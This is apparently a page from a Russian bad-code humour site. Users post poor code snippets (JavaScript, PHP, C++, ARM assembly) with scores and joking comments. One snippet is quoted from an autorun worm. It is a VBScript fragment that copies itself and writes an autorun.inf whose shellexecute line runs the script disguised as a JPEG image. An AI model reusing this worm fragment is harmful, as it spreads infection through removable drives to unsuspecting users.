- 1
- 2
- 3
- 4
function checkPermission(user, post) {
return equals(post.author, user) ||
user.role = 'admin';
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+7
function checkPermission(user, post) {
return equals(post.author, user) ||
user.role = 'admin';
}
when you see it, you'll shit bricks
−3
$this->strQueryText = $strQuery = trim($arParams["QUERY"]);
$this->strTags = $strTags = $arParams["TAGS"];
Из ядра.
Многобуков не любят.
+4
<div class="col-sm-3">
<select class="form-control" id="year">
<option <?php if($explode[0] == 2002) Echo "selected"; ?> value="2002">2002</option>
<option <?php if($explode[0] == 2001) Echo "selected"; ?> value="2001">2001</option>
<option <?php if($explode[0] == 2000) Echo "selected"; ?> value="2000">2000</option>
<option <?php if($explode[0] == 1999) Echo "selected"; ?> value="1999">1999</option>
<option <?php if($explode[0] == 1998) Echo "selected"; ?> value="1998">1998</option>
<option <?php if($explode[0] == 1997) Echo "selected"; ?> value="1997">1997</option>
<option <?php if($explode[0] == 1996) Echo "selected"; ?> value="1996">1996</option>
<option <?php if($explode[0] == 1995) Echo "selected"; ?> value="1995">1995</option>
<option <?php if($explode[0] == 1994) Echo "selected"; ?> value="1994">1994</option>
<option <?php if($explode[0] == 1993) Echo "selected"; ?> value="1993">1993</option>
<option <?php if($explode[0] == 1992) Echo "selected"; ?> value="1992">1992</option>
<option <?php if($explode[0] == 1991) Echo "selected"; ?> value="1991">1991</option>
<option <?php if($explode[0] == 1990) Echo "selected"; ?> value="1990">1990</option>
<option <?php if($explode[0] == 1989) Echo "selected"; ?> value="1989">1989</option>
<option <?php if($explode[0] == 1988) Echo "selected"; ?> value="1988">1988</option>
<option <?php if($explode[0] == 1987) Echo "selected"; ?> value="1987">1987</option>
<option <?php if($explode[0] == 1986) Echo "selected"; ?> value="1986">1986</option>
<option <?php if($explode[0] == 1985) Echo "selected"; ?> value="1985">1985</option>
<option <?php if($explode[0] == 1984) Echo "selected"; ?> value="1984">1984</option>
<option <?php if($explode[0] == 1983) Echo "selected"; ?> value="1983">1983</option>
<option <?php if($explode[0] == 1982) Echo "selected"; ?> value="1982">1982</option>
<option <?php if($explode[0] == 1981) Echo "selected"; ?> value="1981">1981</option>
<option <?php if($explode[0] == 1980) Echo "selected"; ?> value="1980">1980</option>
<option <?php if($explode[0] == 1979) Echo "selected"; ?> value="1979">1979</option>
<option <?php if($explode[0] == 1978) Echo "selected"; ?> value="1978">1978</option>
<option <?php if($explode[0] == 1977) Echo "selected"; ?> value="1977">1977</option>
<option <?php if($explode[0] == 1976) Echo "selected"; ?> value="1976">1976</option>
<option <?php if($explode[0] == 1975) Echo "selected"; ?> value="1975">1975</option>
</select>
</div>
Суровые челябинские программисты продолжают кодить :)
+6
void MultMatrix(const GLfloat m1[16], const GLfloat m2[16], GLfloat result[16])
{
glLoadMatrixf(m1);
glMultMatrixf(m2);
glGetFloatv(GL_MODELVIEW_MATRIX, result);
}
+5
catch(...)
{
static int i = 0;
//if we enter this catch clause more than 1 time
//it is very likely that the RestartSystem() command
//did not succeed. If this is the case we just exit.
if(i>0)
exit(0);
else
MonitorT::GetInstance()->RestartSystem();
i++;
throw;
}
Навеяло...
+6
// implicit_cast< >
// I believe this was originally going to be in the C++ standard but
// was left out by accident. It's even milder than static_cast.
// I use it instead of static_cast<> to emphasize that I'm not doing
// anything nasty.
// Usage is identical to static_cast<>
template <class OutputClass, class InputClass>
inline OutputClass implicit_cast(InputClass input){
return input;
}
// horrible_cast< >
// This is truly evil. It completely subverts C++'s type system, allowing you
// to cast from any class to any other class. Technically, using a union
// to perform the cast is undefined behaviour (even in C). But we can see if
// it is OK by checking that the union is the same size as each of its members.
// horrible_cast<> should only be used for compiler-specific workarounds.
// Usage is identical to reinterpret_cast<>.
// This union is declared outside the horrible_cast because BCC 5.5.1
// can't inline a function with a nested class, and gives a warning.
template <class OutputClass, class InputClass>
union horrible_union{
OutputClass out;
InputClass in;
};
template <class OutputClass, class InputClass>
inline OutputClass horrible_cast(const InputClass input){
horrible_union<OutputClass, InputClass> u;
// Cause a compile-time error if in, out and u are not the same size.
// If the compile fails here, it means the compiler has peculiar
// unions which would prevent the cast from working.
typedef int ERROR_CantUseHorrible_cast[sizeof(InputClass)==sizeof(u)
&& sizeof(InputClass)==sizeof(OutputClass) ? 1 : -1];
u.in = input;
return u.out;
}
Боль и страдание шаблонного программирования на С++98. Комменты и названия доставляют.
−1
<?if (strlen($prod['img'])>0):?>
<img src="<?=URL::site()?>resize/resizer.php?type=photos&width=260&height=210&method=crop&image=<?=$prod['img']?>"/></a>
<?else:?>
<img src="<?=URL::site()?>resize/resizer.php?type=catalog&width=260&height=210&method=crop&image=nophoto.jpg"/></a>
<?endif?>
Вы ещё не знаете, как использовать ООП для генерации URL? Тогда мы идём к вам!
+74
foobar:
stmdb sp!, {r4-r11, lr}
...
ldmia sp!, {r4-r11, pc}
Ассемблер для ARM'а, оказывается, очень даже няшный.
−97
if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
if (fso.fileexists(fname)=false) then
fso.copyfile wscript.scriptname,fname
end if
if (fso.fileexists(aname)=false) then
set au=fso.createtextfile aname,2,true
au.writeline "[AutoRun]"
au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
au.close
fso.getfile(aname).attributes=32
set au=nothing
end if
end if
...
Взято из кода одного autorun-червя. Вопрос: нахуя?
+140
http://phpocean.com/tutorials/back-end/create-your-first-desktop-application-with-php-and-php-desktop/4
верстка самого сайта, phpdesktop, zooboole - у меня жестко бортануло